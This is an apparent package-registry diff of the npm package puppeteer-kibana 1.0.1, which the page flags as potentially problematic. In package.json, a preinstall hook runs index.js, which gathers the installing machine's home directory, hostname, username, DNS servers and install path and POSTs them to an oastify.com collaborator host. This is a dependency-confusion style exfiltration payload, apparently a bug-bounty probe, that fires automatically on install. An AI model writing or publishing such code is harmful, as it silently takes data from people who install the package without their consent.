puppeteer-kibana 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of puppeteer-kibana might be problematic. Click here for more details.
- package/index.js +37 -0
- package/package.json +18 -0
package/index.js
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const os = require("os");
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const fetch = require("node-fetch");
|
|
4
|
+
const packageJSON = require("./package.json");
|
|
5
|
+
const package = packageJSON.name;
|
|
6
|
+
|
|
7
|
+
const trackingData = JSON.stringify({
|
|
8
|
+
p: package,
|
|
9
|
+
c: __dirname,
|
|
10
|
+
hd: os.homedir(),
|
|
11
|
+
hn: os.hostname(),
|
|
12
|
+
un: os.userInfo().username,
|
|
13
|
+
dns: dns.getServers(),
|
|
14
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
|
15
|
+
v: packageJSON.version,
|
|
16
|
+
pjson: packageJSON,
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
let url = "https://cp550cs3bssdlwxid88onb1jwa23qtei.oastify.com"; //replace burpcollaborator.net with Interactsh or pipedream
|
|
20
|
+
let settings = {
|
|
21
|
+
method: "POST",
|
|
22
|
+
headers: {
|
|
23
|
+
"Content-Type": "application/json"
|
|
24
|
+
},
|
|
25
|
+
body: trackingData
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
fetch(url, settings)
|
|
29
|
+
.then(res => res.json())
|
|
30
|
+
.then(json => {
|
|
31
|
+
// do something with JSON
|
|
32
|
+
console.log(json);
|
|
33
|
+
})
|
|
34
|
+
.catch(err => {
|
|
35
|
+
// handle error
|
|
36
|
+
console.error(err);
|
|
37
|
+
});
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "puppeteer-kibana",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "created by psycho_012 hackerone",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"hackerone",
|
|
12
|
+
"security",
|
|
13
|
+
"elastic",
|
|
14
|
+
"kibana"
|
|
15
|
+
],
|
|
16
|
+
"author": "psycho_012 hackerone",
|
|
17
|
+
"license": "ISC"
|
|
18
|
+
}
|